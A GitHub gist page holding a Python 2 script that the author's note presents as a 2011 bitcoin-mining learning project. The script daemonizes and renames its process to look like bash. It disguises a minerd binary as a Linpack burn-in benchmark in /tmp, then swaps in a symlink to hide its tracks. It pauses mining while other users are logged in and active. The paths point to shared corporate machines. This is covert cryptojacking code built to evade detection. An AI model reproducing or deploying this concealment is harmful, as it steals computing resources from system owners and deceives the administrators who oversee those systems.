Skip to content

Instantly share code, notes, and snippets.

@aleks-mariusz
Created May 1, 2014 05:11
Show Gist options
  • Save aleks-mariusz/f1cd55e1b65c4208bd56 to your computer and use it in GitHub Desktop.
Save aleks-mariusz/f1cd55e1b65c4208bd56 to your computer and use it in GitHub Desktop.
June 1 2011 - I started learning python after hearing some good things about it spring of 2011 and needed some simple projects to get my feet wet. Then after the gawker article made bitcoins famous, i decided to try my hand at mining some. but cpu-mining is so inefficient you need a ton of resources to do it. how does one manage a mining system …
#!/ms/dist/python/PROJ/core/2.7.1/bin/python
import os
import sys
import time
import signal
import shutil
from time import time, sleep
from tempfile import mkdtemp
from subprocess import Popen, PIPE
from multiprocessing import cpu_count
LOG_PATH = '/v/global/user/k/ko/koramari/.btcl'
MINERD_CONF = '/v/global/user/k/ko/koramari/.minerdrc'
MINERD_PATH = '/v/global/user/k/ko/koramari/bin/minerd'
LINPACK_CONF = 'lininput_xeon64.burnin_test'
LINPACK_PATH = '/ms/dist/unixops/PROJ/benchmarks/incr/bin/linpack/xlinpack_xeon64'
BASH_PATH = '/ms/dist/fsf/PROJ/bash/4.1/bin/bash'
ok_users = [ 'koramari' ]
idle_threshold = 3600 # num seconds to ignore user if they're idle
scan_interval = 5
my_uid = os.getuid()
PYLIB_PATH = '/v/global/user/k/ko/koramari/lib/python2.7'
sys.path.append(PYLIB_PATH)
try: import psutil
except ImportError: pass
try: from pyutmp import UtmpFile
except ImportError: pass
avail_setprocname = False
try: import procname
except ImportError: pass
else: avail_setprocname = True
def spawn_miner():
tmp_dir = '/tmp'
tmp_config = tmp_dir + '/' + LINPACK_CONF
tmp_exec = tmp_dir + '/' + 'xlinpack_xeon64'
shutil.copyfile(MINERD_CONF, tmp_config)
try:
os.unlink(tmp_exec)
except OSError:
pass
shutil.copyfile(MINERD_PATH, tmp_exec)
os.chmod(tmp_exec,0700)
# final fork
try:
forked_pid = os.fork()
if forked_pid == 0:
os.chdir(tmp_dir)
m_args = [LINPACK_PATH,'-c','lininput_xeon64.burnin_test','-t',str(cpu_count())]
os.execvp(tmp_exec, m_args)
except OSError, e:
pass
sys.stderr.write("final fork failed: (%d) %s\n" % (e.errno, e.strerror))
sys.exit(1)
sleep(1)
os.chdir('/')
os.unlink(tmp_config)
os.unlink(tmp_exec)
os.symlink(LINPACK_PATH,tmp_exec)
return forked_pid
if __name__ == '__main__':
# first fork
try:
pid = os.fork()
if pid > 0: sys.exit(0)
except OSError, e:
sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror))
sys.exit(1)
os.chdir('/')
os.umask(0)
os.setsid()
# second fork
try:
pid = os.fork()
if pid > 0: sys.exit(0)
except OSError, e:
sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror))
sys.exit(1)
if avail_setprocname:
procname.setprocname(BASH_PATH)
our_hostname = os.uname()[1]
# if 'goo' in our_hostname:
# dsdb_output = Popen(['/ms/dist/aurora/bin/dsdb', 'show_host', '-host', our_hostname], stdout=PIPE).communicate()[0]
# for dsdb_line in dsdb_output.split('\n'):
# if 'Aliases' in dsdb_line:
# our_hostname = dsdb_line.split(':')[1].strip()
log_file = LOG_PATH + '/' + our_hostname + '.out'
log = file(log_file,'w+',0)
os.dup2(log.fileno(), sys.stdout.fileno())
os.dup2(log.fileno(), sys.stderr.fileno())
sys.stdin = open('/dev/null','r')
minerd_pid = spawn_miner()
if minerd_pid != 0:
minerd_running = 1
while True:
sleep(scan_interval)
proc = psutil.Process(minerd_pid)
if proc.status == psutil.STATUS_ZOMBIE:
print "zombie detected, restarting.. "
minerd_running = 0
os.waitpid(minerd_pid, 0)
minerd_pid = spawn_miner()
if minerd_pid != 0:
minerd_running = 1
if minerd_running:
for utmp in UtmpFile():
if utmp.ut_user_process:
if utmp.ut_user not in ok_users:
last_active_time = os.stat(utmp.ut_line).st_atime
if time() - last_active_time < idle_threshold:
print "someone's logged in, stopping"
os.kill(minerd_pid, signal.SIGSTOP)
minerd_running = 0
else:
active_user = 0
for utmp in UtmpFile():
if utmp.ut_user_process:
if utmp.ut_user not in ok_users:
last_active_time = os.stat(utmp.ut_line).st_atime
if time() - last_active_time < idle_threshold:
active_user += 1
if not active_user:
print "no one active logged in, continuing"
os.kill(minerd_pid, signal.SIGCONT)
minerd_running = 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment